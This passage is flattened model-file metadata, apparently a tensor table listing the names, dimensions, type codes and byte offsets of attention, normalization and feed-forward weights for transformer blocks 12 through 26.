+TENSOR_138_NAME=BLK_12_ATTN_OUTPUT_WEIGHT +TENSOR_138_DIMENSIONS=2048,1024 +TENSOR_138_TYPE=0 +TENSOR_138_OFFSET=2003948032 +TENSOR_139_NAME=BLK_12_ATTN_Q_WEIGHT +TENSOR_139_DIMENSIONS=1024,2048 +TENSOR_139_TYPE=0 +TENSOR_139_OFFSET=2012336640 +TENSOR_140_NAME=BLK_12_ATTN_Q_NORM_WEIGHT +TENSOR_140_DIMENSIONS=128 +TENSOR_140_TYPE=0 +TENSOR_140_OFFSET=2020725248 +TENSOR_141_NAME=BLK_12_ATTN_V_WEIGHT +TENSOR_141_DIMENSIONS=1024,1024 +TENSOR_141_TYPE=0 +TENSOR_141_OFFSET=2020725760 +TENSOR_142_NAME=BLK_12_FFN_DOWN_WEIGHT +TENSOR_142_DIMENSIONS=3072,1024 +TENSOR_142_TYPE=0 +TENSOR_142_OFFSET=2024920064 +TENSOR_143_NAME=BLK_12_FFN_GATE_WEIGHT +TENSOR_143_DIMENSIONS=1024,3072 +TENSOR_143_TYPE=0 +TENSOR_143_OFFSET=2037502976 +TENSOR_144_NAME=BLK_12_FFN_NORM_WEIGHT +TENSOR_144_DIMENSIONS=1024 +TENSOR_144_TYPE=0 +TENSOR_144_OFFSET=2050085888 +TENSOR_145_NAME=BLK_12_FFN_UP_WEIGHT +TENSOR_145_DIMENSIONS=1024,3072 +TENSOR_145_TYPE=0 +TENSOR_145_OFFSET=2050089984 +TENSOR_146_NAME=BLK_13_ATTN_K_WEIGHT +TENSOR_146_DIMENSIONS=1024,1024 +TENSOR_146_TYPE=0 +TENSOR_146_OFFSET=2062672896 +TENSOR_147_NAME=BLK_13_ATTN_K_NORM_WEIGHT +TENSOR_147_DIMENSIONS=128 +TENSOR_147_TYPE=0 +TENSOR_147_OFFSET=2066867200 +TENSOR_148_NAME=BLK_13_ATTN_NORM_WEIGHT +TENSOR_148_DIMENSIONS=1024 +TENSOR_148_TYPE=0 +TENSOR_148_OFFSET=2066867712 +TENSOR_149_NAME=BLK_13_ATTN_OUTPUT_WEIGHT +TENSOR_149_DIMENSIONS=2048,1024 +TENSOR_149_TYPE=0 +TENSOR_149_OFFSET=2066871808 +TENSOR_150_NAME=BLK_13_ATTN_Q_WEIGHT +TENSOR_150_DIMENSIONS=1024,2048 +TENSOR_150_TYPE=0 +TENSOR_150_OFFSET=2075260416 +TENSOR_151_NAME=BLK_13_ATTN_Q_NORM_WEIGHT +TENSOR_151_DIMENSIONS=128 +TENSOR_151_TYPE=0 +TENSOR_151_OFFSET=2083649024 +TENSOR_152_NAME=BLK_13_ATTN_V_WEIGHT +TENSOR_152_DIMENSIONS=1024,1024 +TENSOR_152_TYPE=0 +TENSOR_152_OFFSET=2083649536 +TENSOR_153_NAME=BLK_13_FFN_DOWN_WEIGHT +TENSOR_153_DIMENSIONS=3072,1024 +TENSOR_153_TYPE=0 +TENSOR_153_OFFSET=2087843840 +TENSOR_154_NAME=BLK_13_FFN_GATE_WEIGHT +TENSOR_154_DIMENSIONS=1024,3072 +TENSOR_154_TYPE=0 +TENSOR_154_OFFSET=2100426752 +TENSOR_155_NAME=BLK_13_FFN_NORM_WEIGHT +TENSOR_155_DIMENSIONS=1024 +TENSOR_155_TYPE=0 +TENSOR_155_OFFSET=2113009664 +TENSOR_156_NAME=BLK_13_FFN_UP_WEIGHT +TENSOR_156_DIMENSIONS=1024,3072 +TENSOR_156_TYPE=0 +TENSOR_156_OFFSET=2113013760 +TENSOR_157_NAME=BLK_14_ATTN_K_WEIGHT +TENSOR_157_DIMENSIONS=1024,1024 +TENSOR_157_TYPE=0 +TENSOR_157_OFFSET=2125596672 +TENSOR_158_NAME=BLK_14_ATTN_K_NORM_WEIGHT +TENSOR_158_DIMENSIONS=128 +TENSOR_158_TYPE=0 +TENSOR_158_OFFSET=2129790976 +TENSOR_159_NAME=BLK_14_ATTN_NORM_WEIGHT +TENSOR_159_DIMENSIONS=1024 +TENSOR_159_TYPE=0 +TENSOR_159_OFFSET=2129791488 +TENSOR_160_NAME=BLK_14_ATTN_OUTPUT_WEIGHT +TENSOR_160_DIMENSIONS=2048,1024 +TENSOR_160_TYPE=0 +TENSOR_160_OFFSET=2129795584 +TENSOR_161_NAME=BLK_14_ATTN_Q_WEIGHT +TENSOR_161_DIMENSIONS=1024,2048 +TENSOR_161_TYPE=0 +TENSOR_161_OFFSET=2138184192 +TENSOR_162_NAME=BLK_14_ATTN_Q_NORM_WEIGHT +TENSOR_162_DIMENSIONS=128 +TENSOR_162_TYPE=0 +TENSOR_162_OFFSET=2146572800 +TENSOR_163_NAME=BLK_14_ATTN_V_WEIGHT +TENSOR_163_DIMENSIONS=1024,1024 +TENSOR_163_TYPE=0 +TENSOR_163_OFFSET=2146573312 +TENSOR_164_NAME=BLK_14_FFN_DOWN_WEIGHT +TENSOR_164_DIMENSIONS=3072,1024 +TENSOR_164_TYPE=0 +TENSOR_164_OFFSET=2150767616 +TENSOR_165_NAME=BLK_14_FFN_GATE_WEIGHT +TENSOR_165_DIMENSIONS=1024,3072 +TENSOR_165_TYPE=0 +TENSOR_165_OFFSET=2163350528 +TENSOR_166_NAME=BLK_14_FFN_NORM_WEIGHT +TENSOR_166_DIMENSIONS=1024 +TENSOR_166_TYPE=0 +TENSOR_166_OFFSET=2175933440 +TENSOR_167_NAME=BLK_14_FFN_UP_WEIGHT +TENSOR_167_DIMENSIONS=1024,3072 +TENSOR_167_TYPE=0 +TENSOR_167_OFFSET=2175937536 +TENSOR_168_NAME=BLK_15_ATTN_K_WEIGHT +TENSOR_168_DIMENSIONS=1024,1024 +TENSOR_168_TYPE=0 +TENSOR_168_OFFSET=2188520448 +TENSOR_169_NAME=BLK_15_ATTN_K_NORM_WEIGHT +TENSOR_169_DIMENSIONS=128 +TENSOR_169_TYPE=0 +TENSOR_169_OFFSET=2192714752 +TENSOR_170_NAME=BLK_15_ATTN_NORM_WEIGHT +TENSOR_170_DIMENSIONS=1024 +TENSOR_170_TYPE=0 +TENSOR_170_OFFSET=2192715264 +TENSOR_171_NAME=BLK_15_ATTN_OUTPUT_WEIGHT +TENSOR_171_DIMENSIONS=2048,1024 +TENSOR_171_TYPE=0 +TENSOR_171_OFFSET=2192719360 +TENSOR_172_NAME=BLK_15_ATTN_Q_WEIGHT +TENSOR_172_DIMENSIONS=1024,2048 +TENSOR_172_TYPE=0 +TENSOR_172_OFFSET=2201107968 +TENSOR_173_NAME=BLK_15_ATTN_Q_NORM_WEIGHT +TENSOR_173_DIMENSIONS=128 +TENSOR_173_TYPE=0 +TENSOR_173_OFFSET=2209496576 +TENSOR_174_NAME=BLK_15_ATTN_V_WEIGHT +TENSOR_174_DIMENSIONS=1024,1024 +TENSOR_174_TYPE=0 +TENSOR_174_OFFSET=2209497088 +TENSOR_175_NAME=BLK_15_FFN_DOWN_WEIGHT +TENSOR_175_DIMENSIONS=3072,1024 +TENSOR_175_TYPE=0 +TENSOR_175_OFFSET=2213691392 +TENSOR_176_NAME=BLK_15_FFN_GATE_WEIGHT +TENSOR_176_DIMENSIONS=1024,3072 +TENSOR_176_TYPE=0 +TENSOR_176_OFFSET=2226274304 +TENSOR_177_NAME=BLK_15_FFN_NORM_WEIGHT +TENSOR_177_DIMENSIONS=1024 +TENSOR_177_TYPE=0 +TENSOR_177_OFFSET=2238857216 +TENSOR_178_NAME=BLK_15_FFN_UP_WEIGHT +TENSOR_178_DIMENSIONS=1024,3072 +TENSOR_178_TYPE=0 +TENSOR_178_OFFSET=2238861312 +TENSOR_179_NAME=BLK_16_ATTN_K_WEIGHT +TENSOR_179_DIMENSIONS=1024,1024 +TENSOR_179_TYPE=0 +TENSOR_179_OFFSET=2251444224 +TENSOR_180_NAME=BLK_16_ATTN_K_NORM_WEIGHT +TENSOR_180_DIMENSIONS=128 +TENSOR_180_TYPE=0 +TENSOR_180_OFFSET=2255638528 +TENSOR_181_NAME=BLK_16_ATTN_NORM_WEIGHT +TENSOR_181_DIMENSIONS=1024 +TENSOR_181_TYPE=0 +TENSOR_181_OFFSET=2255639040 +TENSOR_182_NAME=BLK_16_ATTN_OUTPUT_WEIGHT +TENSOR_182_DIMENSIONS=2048,1024 +TENSOR_182_TYPE=0 +TENSOR_182_OFFSET=2255643136 +TENSOR_183_NAME=BLK_16_ATTN_Q_WEIGHT +TENSOR_183_DIMENSIONS=1024,2048 +TENSOR_183_TYPE=0 +TENSOR_183_OFFSET=2264031744 +TENSOR_184_NAME=BLK_16_ATTN_Q_NORM_WEIGHT +TENSOR_184_DIMENSIONS=128 +TENSOR_184_TYPE=0 +TENSOR_184_OFFSET=2272420352 +TENSOR_185_NAME=BLK_16_ATTN_V_WEIGHT +TENSOR_185_DIMENSIONS=1024,1024 +TENSOR_185_TYPE=0 +TENSOR_185_OFFSET=2272420864 +TENSOR_186_NAME=BLK_16_FFN_DOWN_WEIGHT +TENSOR_186_DIMENSIONS=3072,1024 +TENSOR_186_TYPE=0 +TENSOR_186_OFFSET=2276615168 +TENSOR_187_NAME=BLK_16_FFN_GATE_WEIGHT +TENSOR_187_DIMENSIONS=1024,3072 +TENSOR_187_TYPE=0 +TENSOR_187_OFFSET=2289198080 +TENSOR_188_NAME=BLK_16_FFN_NORM_WEIGHT +TENSOR_188_DIMENSIONS=1024 +TENSOR_188_TYPE=0 +TENSOR_188_OFFSET=2301780992 +TENSOR_189_NAME=BLK_16_FFN_UP_WEIGHT +TENSOR_189_DIMENSIONS=1024,3072 +TENSOR_189_TYPE=0 +TENSOR_189_OFFSET=2301785088 +TENSOR_190_NAME=BLK_17_ATTN_K_WEIGHT +TENSOR_190_DIMENSIONS=1024,1024 +TENSOR_190_TYPE=0 +TENSOR_190_OFFSET=2314368000 +TENSOR_191_NAME=BLK_17_ATTN_K_NORM_WEIGHT +TENSOR_191_DIMENSIONS=128 +TENSOR_191_TYPE=0 +TENSOR_191_OFFSET=2318562304 +TENSOR_192_NAME=BLK_17_ATTN_NORM_WEIGHT +TENSOR_192_DIMENSIONS=1024 +TENSOR_192_TYPE=0 +TENSOR_192_OFFSET=2318562816 +TENSOR_193_NAME=BLK_17_ATTN_OUTPUT_WEIGHT +TENSOR_193_DIMENSIONS=2048,1024 +TENSOR_193_TYPE=0 +TENSOR_193_OFFSET=2318566912 +TENSOR_194_NAME=BLK_17_ATTN_Q_WEIGHT +TENSOR_194_DIMENSIONS=1024,2048 +TENSOR_194_TYPE=0 +TENSOR_194_OFFSET=2326955520 +TENSOR_195_NAME=BLK_17_ATTN_Q_NORM_WEIGHT +TENSOR_195_DIMENSIONS=128 +TENSOR_195_TYPE=0 +TENSOR_195_OFFSET=2335344128 +TENSOR_196_NAME=BLK_17_ATTN_V_WEIGHT +TENSOR_196_DIMENSIONS=1024,1024 +TENSOR_196_TYPE=0 +TENSOR_196_OFFSET=2335344640 +TENSOR_197_NAME=BLK_17_FFN_DOWN_WEIGHT +TENSOR_197_DIMENSIONS=3072,1024 +TENSOR_197_TYPE=0 +TENSOR_197_OFFSET=2339538944 +TENSOR_198_NAME=BLK_17_FFN_GATE_WEIGHT +TENSOR_198_DIMENSIONS=1024,3072 +TENSOR_198_TYPE=0 +TENSOR_198_OFFSET=2352121856 +TENSOR_199_NAME=BLK_17_FFN_NORM_WEIGHT +TENSOR_199_DIMENSIONS=1024 +TENSOR_199_TYPE=0 +TENSOR_199_OFFSET=2364704768 +TENSOR_200_NAME=BLK_17_FFN_UP_WEIGHT +TENSOR_200_DIMENSIONS=1024,3072 +TENSOR_200_TYPE=0 +TENSOR_200_OFFSET=2364708864 +TENSOR_201_NAME=BLK_18_ATTN_K_WEIGHT +TENSOR_201_DIMENSIONS=1024,1024 +TENSOR_201_TYPE=0 +TENSOR_201_OFFSET=2377291776 +TENSOR_202_NAME=BLK_18_ATTN_K_NORM_WEIGHT +TENSOR_202_DIMENSIONS=128 +TENSOR_202_TYPE=0 +TENSOR_202_OFFSET=2381486080 +TENSOR_203_NAME=BLK_18_ATTN_NORM_WEIGHT +TENSOR_203_DIMENSIONS=1024 +TENSOR_203_TYPE=0 +TENSOR_203_OFFSET=2381486592 +TENSOR_204_NAME=BLK_18_ATTN_OUTPUT_WEIGHT +TENSOR_204_DIMENSIONS=2048,1024 +TENSOR_204_TYPE=0 +TENSOR_204_OFFSET=2381490688 +TENSOR_205_NAME=BLK_18_ATTN_Q_WEIGHT +TENSOR_205_DIMENSIONS=1024,2048 +TENSOR_205_TYPE=0 +TENSOR_205_OFFSET=2389879296 +TENSOR_206_NAME=BLK_18_ATTN_Q_NORM_WEIGHT +TENSOR_206_DIMENSIONS=128 +TENSOR_206_TYPE=0 +TENSOR_206_OFFSET=2398267904 +TENSOR_207_NAME=BLK_18_ATTN_V_WEIGHT +TENSOR_207_DIMENSIONS=1024,1024 +TENSOR_207_TYPE=0 +TENSOR_207_OFFSET=2398268416 +TENSOR_208_NAME=BLK_18_FFN_DOWN_WEIGHT +TENSOR_208_DIMENSIONS=3072,1024 +TENSOR_208_TYPE=0 +TENSOR_208_OFFSET=2402462720 +TENSOR_209_NAME=BLK_18_FFN_GATE_WEIGHT +TENSOR_209_DIMENSIONS=1024,3072 +TENSOR_209_TYPE=0 +TENSOR_209_OFFSET=2415045632 +TENSOR_210_NAME=BLK_18_FFN_NORM_WEIGHT +TENSOR_210_DIMENSIONS=1024 +TENSOR_210_TYPE=0 +TENSOR_210_OFFSET=2427628544 +TENSOR_211_NAME=BLK_18_FFN_UP_WEIGHT +TENSOR_211_DIMENSIONS=1024,3072 +TENSOR_211_TYPE=0 +TENSOR_211_OFFSET=2427632640 +TENSOR_212_NAME=BLK_19_ATTN_K_WEIGHT +TENSOR_212_DIMENSIONS=1024,1024 +TENSOR_212_TYPE=0 +TENSOR_212_OFFSET=2440215552 +TENSOR_213_NAME=BLK_19_ATTN_K_NORM_WEIGHT +TENSOR_213_DIMENSIONS=128 +TENSOR_213_TYPE=0 +TENSOR_213_OFFSET=2444409856 +TENSOR_214_NAME=BLK_19_ATTN_NORM_WEIGHT +TENSOR_214_DIMENSIONS=1024 +TENSOR_214_TYPE=0 +TENSOR_214_OFFSET=2444410368 +TENSOR_215_NAME=BLK_19_ATTN_OUTPUT_WEIGHT +TENSOR_215_DIMENSIONS=2048,1024 +TENSOR_215_TYPE=0 +TENSOR_215_OFFSET=2444414464 +TENSOR_216_NAME=BLK_19_ATTN_Q_WEIGHT +TENSOR_216_DIMENSIONS=1024,2048 +TENSOR_216_TYPE=0 +TENSOR_216_OFFSET=2452803072 +TENSOR_217_NAME=BLK_19_ATTN_Q_NORM_WEIGHT +TENSOR_217_DIMENSIONS=128 +TENSOR_217_TYPE=0 +TENSOR_217_OFFSET=2461191680 +TENSOR_218_NAME=BLK_19_ATTN_V_WEIGHT +TENSOR_218_DIMENSIONS=1024,1024 +TENSOR_218_TYPE=0 +TENSOR_218_OFFSET=2461192192 +TENSOR_219_NAME=BLK_19_FFN_DOWN_WEIGHT +TENSOR_219_DIMENSIONS=3072,1024 +TENSOR_219_TYPE=0 +TENSOR_219_OFFSET=2465386496 +TENSOR_220_NAME=BLK_19_FFN_GATE_WEIGHT +TENSOR_220_DIMENSIONS=1024,3072 +TENSOR_220_TYPE=0 +TENSOR_220_OFFSET=2477969408 +TENSOR_221_NAME=BLK_19_FFN_NORM_WEIGHT +TENSOR_221_DIMENSIONS=1024 +TENSOR_221_TYPE=0 +TENSOR_221_OFFSET=2490552320 +TENSOR_222_NAME=BLK_19_FFN_UP_WEIGHT +TENSOR_222_DIMENSIONS=1024,3072 +TENSOR_222_TYPE=0 +TENSOR_222_OFFSET=2490556416 +TENSOR_223_NAME=BLK_20_ATTN_K_WEIGHT +TENSOR_223_DIMENSIONS=1024,1024 +TENSOR_223_TYPE=0 +TENSOR_223_OFFSET=2503139328 +TENSOR_224_NAME=BLK_20_ATTN_K_NORM_WEIGHT +TENSOR_224_DIMENSIONS=128 +TENSOR_224_TYPE=0 +TENSOR_224_OFFSET=2507333632 +TENSOR_225_NAME=BLK_20_ATTN_NORM_WEIGHT +TENSOR_225_DIMENSIONS=1024 +TENSOR_225_TYPE=0 +TENSOR_225_OFFSET=2507334144 +TENSOR_226_NAME=BLK_20_ATTN_OUTPUT_WEIGHT +TENSOR_226_DIMENSIONS=2048,1024 +TENSOR_226_TYPE=0 +TENSOR_226_OFFSET=2507338240 +TENSOR_227_NAME=BLK_20_ATTN_Q_WEIGHT +TENSOR_227_DIMENSIONS=1024,2048 +TENSOR_227_TYPE=0 +TENSOR_227_OFFSET=2515726848 +TENSOR_228_NAME=BLK_20_ATTN_Q_NORM_WEIGHT +TENSOR_228_DIMENSIONS=128 +TENSOR_228_TYPE=0 +TENSOR_228_OFFSET=2524115456 +TENSOR_229_NAME=BLK_20_ATTN_V_WEIGHT +TENSOR_229_DIMENSIONS=1024,1024 +TENSOR_229_TYPE=0 +TENSOR_229_OFFSET=2524115968 +TENSOR_230_NAME=BLK_20_FFN_DOWN_WEIGHT +TENSOR_230_DIMENSIONS=3072,1024 +TENSOR_230_TYPE=0 +TENSOR_230_OFFSET=2528310272 +TENSOR_231_NAME=BLK_20_FFN_GATE_WEIGHT +TENSOR_231_DIMENSIONS=1024,3072 +TENSOR_231_TYPE=0 +TENSOR_231_OFFSET=2540893184 +TENSOR_232_NAME=BLK_20_FFN_NORM_WEIGHT +TENSOR_232_DIMENSIONS=1024 +TENSOR_232_TYPE=0 +TENSOR_232_OFFSET=2553476096 +TENSOR_233_NAME=BLK_20_FFN_UP_WEIGHT +TENSOR_233_DIMENSIONS=1024,3072 +TENSOR_233_TYPE=0 +TENSOR_233_OFFSET=2553480192 +TENSOR_234_NAME=BLK_21_ATTN_K_WEIGHT +TENSOR_234_DIMENSIONS=1024,1024 +TENSOR_234_TYPE=0 +TENSOR_234_OFFSET=2566063104 +TENSOR_235_NAME=BLK_21_ATTN_K_NORM_WEIGHT +TENSOR_235_DIMENSIONS=128 +TENSOR_235_TYPE=0 +TENSOR_235_OFFSET=2570257408 +TENSOR_236_NAME=BLK_21_ATTN_NORM_WEIGHT +TENSOR_236_DIMENSIONS=1024 +TENSOR_236_TYPE=0 +TENSOR_236_OFFSET=2570257920 +TENSOR_237_NAME=BLK_21_ATTN_OUTPUT_WEIGHT +TENSOR_237_DIMENSIONS=2048,1024 +TENSOR_237_TYPE=0 +TENSOR_237_OFFSET=2570262016 +TENSOR_238_NAME=BLK_21_ATTN_Q_WEIGHT +TENSOR_238_DIMENSIONS=1024,2048 +TENSOR_238_TYPE=0 +TENSOR_238_OFFSET=2578650624 +TENSOR_239_NAME=BLK_21_ATTN_Q_NORM_WEIGHT +TENSOR_239_DIMENSIONS=128 +TENSOR_239_TYPE=0 +TENSOR_239_OFFSET=2587039232 +TENSOR_240_NAME=BLK_21_ATTN_V_WEIGHT +TENSOR_240_DIMENSIONS=1024,1024 +TENSOR_240_TYPE=0 +TENSOR_240_OFFSET=2587039744 +TENSOR_241_NAME=BLK_21_FFN_DOWN_WEIGHT +TENSOR_241_DIMENSIONS=3072,1024 +TENSOR_241_TYPE=0 +TENSOR_241_OFFSET=2591234048 +TENSOR_242_NAME=BLK_21_FFN_GATE_WEIGHT +TENSOR_242_DIMENSIONS=1024,3072 +TENSOR_242_TYPE=0 +TENSOR_242_OFFSET=2603816960 +TENSOR_243_NAME=BLK_21_FFN_NORM_WEIGHT +TENSOR_243_DIMENSIONS=1024 +TENSOR_243_TYPE=0 +TENSOR_243_OFFSET=2616399872 +TENSOR_244_NAME=BLK_21_FFN_UP_WEIGHT +TENSOR_244_DIMENSIONS=1024,3072 +TENSOR_244_TYPE=0 +TENSOR_244_OFFSET=2616403968 +TENSOR_245_NAME=BLK_22_ATTN_K_WEIGHT +TENSOR_245_DIMENSIONS=1024,1024 +TENSOR_245_TYPE=0 +TENSOR_245_OFFSET=2628986880 +TENSOR_246_NAME=BLK_22_ATTN_K_NORM_WEIGHT +TENSOR_246_DIMENSIONS=128 +TENSOR_246_TYPE=0 +TENSOR_246_OFFSET=2633181184 +TENSOR_247_NAME=BLK_22_ATTN_NORM_WEIGHT +TENSOR_247_DIMENSIONS=1024 +TENSOR_247_TYPE=0 +TENSOR_247_OFFSET=2633181696 +TENSOR_248_NAME=BLK_22_ATTN_OUTPUT_WEIGHT +TENSOR_248_DIMENSIONS=2048,1024 +TENSOR_248_TYPE=0 +TENSOR_248_OFFSET=2633185792 +TENSOR_249_NAME=BLK_22_ATTN_Q_WEIGHT +TENSOR_249_DIMENSIONS=1024,2048 +TENSOR_249_TYPE=0 +TENSOR_249_OFFSET=2641574400 +TENSOR_250_NAME=BLK_22_ATTN_Q_NORM_WEIGHT +TENSOR_250_DIMENSIONS=128 +TENSOR_250_TYPE=0 +TENSOR_250_OFFSET=2649963008 +TENSOR_251_NAME=BLK_22_ATTN_V_WEIGHT +TENSOR_251_DIMENSIONS=1024,1024 +TENSOR_251_TYPE=0 +TENSOR_251_OFFSET=2649963520 +TENSOR_252_NAME=BLK_22_FFN_DOWN_WEIGHT +TENSOR_252_DIMENSIONS=3072,1024 +TENSOR_252_TYPE=0 +TENSOR_252_OFFSET=2654157824 +TENSOR_253_NAME=BLK_22_FFN_GATE_WEIGHT +TENSOR_253_DIMENSIONS=1024,3072 +TENSOR_253_TYPE=0 +TENSOR_253_OFFSET=2666740736 +TENSOR_254_NAME=BLK_22_FFN_NORM_WEIGHT +TENSOR_254_DIMENSIONS=1024 +TENSOR_254_TYPE=0 +TENSOR_254_OFFSET=2679323648 +TENSOR_255_NAME=BLK_22_FFN_UP_WEIGHT +TENSOR_255_DIMENSIONS=1024,3072 +TENSOR_255_TYPE=0 +TENSOR_255_OFFSET=2679327744 +TENSOR_256_NAME=BLK_23_ATTN_K_WEIGHT +TENSOR_256_DIMENSIONS=1024,1024 +TENSOR_256_TYPE=0 +TENSOR_256_OFFSET=2691910656 +TENSOR_257_NAME=BLK_23_ATTN_K_NORM_WEIGHT +TENSOR_257_DIMENSIONS=128 +TENSOR_257_TYPE=0 +TENSOR_257_OFFSET=2696104960 +TENSOR_258_NAME=BLK_23_ATTN_NORM_WEIGHT +TENSOR_258_DIMENSIONS=1024 +TENSOR_258_TYPE=0 +TENSOR_258_OFFSET=2696105472 +TENSOR_259_NAME=BLK_23_ATTN_OUTPUT_WEIGHT +TENSOR_259_DIMENSIONS=2048,1024 +TENSOR_259_TYPE=0 +TENSOR_259_OFFSET=2696109568 +TENSOR_260_NAME=BLK_23_ATTN_Q_WEIGHT +TENSOR_260_DIMENSIONS=1024,2048 +TENSOR_260_TYPE=0 +TENSOR_260_OFFSET=2704498176 +TENSOR_261_NAME=BLK_23_ATTN_Q_NORM_WEIGHT +TENSOR_261_DIMENSIONS=128 +TENSOR_261_TYPE=0 +TENSOR_261_OFFSET=2712886784 +TENSOR_262_NAME=BLK_23_ATTN_V_WEIGHT +TENSOR_262_DIMENSIONS=1024,1024 +TENSOR_262_TYPE=0 +TENSOR_262_OFFSET=2712887296 +TENSOR_263_NAME=BLK_23_FFN_DOWN_WEIGHT +TENSOR_263_DIMENSIONS=3072,1024 +TENSOR_263_TYPE=0 +TENSOR_263_OFFSET=2717081600 +TENSOR_264_NAME=BLK_23_FFN_GATE_WEIGHT +TENSOR_264_DIMENSIONS=1024,3072 +TENSOR_264_TYPE=0 +TENSOR_264_OFFSET=2729664512 +TENSOR_265_NAME=BLK_23_FFN_NORM_WEIGHT +TENSOR_265_DIMENSIONS=1024 +TENSOR_265_TYPE=0 +TENSOR_265_OFFSET=2742247424 +TENSOR_266_NAME=BLK_23_FFN_UP_WEIGHT +TENSOR_266_DIMENSIONS=1024,3072 +TENSOR_266_TYPE=0 +TENSOR_266_OFFSET=2742251520 +TENSOR_267_NAME=BLK_24_ATTN_K_WEIGHT +TENSOR_267_DIMENSIONS=1024,1024 +TENSOR_267_TYPE=0 +TENSOR_267_OFFSET=2754834432 +TENSOR_268_NAME=BLK_24_ATTN_K_NORM_WEIGHT +TENSOR_268_DIMENSIONS=128 +TENSOR_268_TYPE=0 +TENSOR_268_OFFSET=2759028736 +TENSOR_269_NAME=BLK_24_ATTN_NORM_WEIGHT +TENSOR_269_DIMENSIONS=1024 +TENSOR_269_TYPE=0 +TENSOR_269_OFFSET=2759029248 +TENSOR_270_NAME=BLK_24_ATTN_OUTPUT_WEIGHT +TENSOR_270_DIMENSIONS=2048,1024 +TENSOR_270_TYPE=0 +TENSOR_270_OFFSET=2759033344 +TENSOR_271_NAME=BLK_24_ATTN_Q_WEIGHT +TENSOR_271_DIMENSIONS=1024,2048 +TENSOR_271_TYPE=0 +TENSOR_271_OFFSET=2767421952 +TENSOR_272_NAME=BLK_24_ATTN_Q_NORM_WEIGHT +TENSOR_272_DIMENSIONS=128 +TENSOR_272_TYPE=0 +TENSOR_272_OFFSET=2775810560 +TENSOR_273_NAME=BLK_24_ATTN_V_WEIGHT +TENSOR_273_DIMENSIONS=1024,1024 +TENSOR_273_TYPE=0 +TENSOR_273_OFFSET=2775811072 +TENSOR_274_NAME=BLK_24_FFN_DOWN_WEIGHT +TENSOR_274_DIMENSIONS=3072,1024 +TENSOR_274_TYPE=0 +TENSOR_274_OFFSET=2780005376 +TENSOR_275_NAME=BLK_24_FFN_GATE_WEIGHT +TENSOR_275_DIMENSIONS=1024,3072 +TENSOR_275_TYPE=0 +TENSOR_275_OFFSET=2792588288 +TENSOR_276_NAME=BLK_24_FFN_NORM_WEIGHT +TENSOR_276_DIMENSIONS=1024 +TENSOR_276_TYPE=0 +TENSOR_276_OFFSET=2805171200 +TENSOR_277_NAME=BLK_24_FFN_UP_WEIGHT +TENSOR_277_DIMENSIONS=1024,3072 +TENSOR_277_TYPE=0 +TENSOR_277_OFFSET=2805175296 +TENSOR_278_NAME=BLK_25_ATTN_K_WEIGHT +TENSOR_278_DIMENSIONS=1024,1024 +TENSOR_278_TYPE=0 +TENSOR_278_OFFSET=2817758208 +TENSOR_279_NAME=BLK_25_ATTN_K_NORM_WEIGHT +TENSOR_279_DIMENSIONS=128 +TENSOR_279_TYPE=0 +TENSOR_279_OFFSET=2821952512 +TENSOR_280_NAME=BLK_25_ATTN_NORM_WEIGHT +TENSOR_280_DIMENSIONS=1024 +TENSOR_280_TYPE=0 +TENSOR_280_OFFSET=2821953024 +TENSOR_281_NAME=BLK_25_ATTN_OUTPUT_WEIGHT +TENSOR_281_DIMENSIONS=2048,1024 +TENSOR_281_TYPE=0 +TENSOR_281_OFFSET=2821957120 +TENSOR_282_NAME=BLK_25_ATTN_Q_WEIGHT +TENSOR_282_DIMENSIONS=1024,2048 +TENSOR_282_TYPE=0 +TENSOR_282_OFFSET=2830345728 +TENSOR_283_NAME=BLK_25_ATTN_Q_NORM_WEIGHT +TENSOR_283_DIMENSIONS=128 +TENSOR_283_TYPE=0 +TENSOR_283_OFFSET=2838734336 +TENSOR_284_NAME=BLK_25_ATTN_V_WEIGHT +TENSOR_284_DIMENSIONS=1024,1024 +TENSOR_284_TYPE=0 +TENSOR_284_OFFSET=2838734848 +TENSOR_285_NAME=BLK_25_FFN_DOWN_WEIGHT +TENSOR_285_DIMENSIONS=3072,1024 +TENSOR_285_TYPE=0 +TENSOR_285_OFFSET=2842929152 +TENSOR_286_NAME=BLK_25_FFN_GATE_WEIGHT +TENSOR_286_DIMENSIONS=1024,3072 +TENSOR_286_TYPE=0 +TENSOR_286_OFFSET=2855512064 +TENSOR_287_NAME=BLK_25_FFN_NORM_WEIGHT +TENSOR_287_DIMENSIONS=1024 +TENSOR_287_TYPE=0 +TENSOR_287_OFFSET=2868094976 +TENSOR_288_NAME=BLK_25_FFN_UP_WEIGHT +TENSOR_288_DIMENSIONS=1024,3072 +TENSOR_288_TYPE=0 +TENSOR_288_OFFSET=2868099072 +TENSOR_289_NAME=BLK_26_ATTN_K_WEIGHT +TENSOR_289_DIMENSIONS=1024,1024 +TENSOR_289_TYPE=0 +TENSOR_289_OFFSET=2880681984 +TENSOR_290_NAME=BLK_26_ATTN_K_NORM_WEIGHT +TENSOR_290_DIMENSIONS=128 +TENSOR_290_TYPE=0 +TENSOR_290_OFFSET=2884876288 +TENSOR_291_NAME=BLK_26_ATTN_NORM_WEIGHT +TENSOR_291_DIMENSIONS=1024 +TENSOR_291_TYPE=0 +TENSOR_291_OFFSET=2884876800 +TENSOR_292_NAME=BLK_26_ATTN_OUTPUT_WEIGHT +TENSOR_292_DIMENSIONS=2048,1024 +TENSOR_292_TYPE=0 +TENSOR_292_OFFSET=2884880896 +TENSOR_293_NAME=BLK_26_ATTN_Q_WEIGHT +TENSOR_293_DIMENSIONS=1024,2048 +TENSOR_293_TYPE=0 +TENSOR_293_OFFSET=2893269504 +TENSOR_294_NAME=BLK_26_ATTN_Q_NORM_WEIGHT +TENSOR_294_DIMENSIONS=128 +TENSOR_294_TYPE=0 +TENSOR_294_OFFSET=2901658112 +TENSOR_295_NAME=BLK_26_ATTN_V_WEIGHT +TENSOR_295_DIMENSIONS=1024,1024 +TENSOR_295_TYPE=0 +TENSOR_295_OFFSET=2901658624 +TENSOR_296_NAME=BLK_26_FFN_DOWN_WEIGHT +TENSOR_296_DIMENSIONS=3072,1024 +TENSOR_296_TYPE=0 +TENSOR_296_OFFSET=2905852928 +TENSOR_297_NAME=BLK_26_FFN_GATE_WEIGHT +TENSOR_297_DIMENSIONS=1024,3072 +TENSOR_297_TYPE=0 +TENSOR_297_OFFSET=2918435840 +TENSOR_298_NAME=BLK_26_FFN_NORM_WEIGHT +TENSOR_298_DIMENSIONS=1024 +TENSOR_298_TYPE=0 +TENSOR_298_OFFSET=2931018752 +TENSOR_299_NAME=BLK_26_FFN_UP_WEIGHT +TENSOR_299_DIMENSIONS=1024,3072 +TENSOR_299_TYPE=0 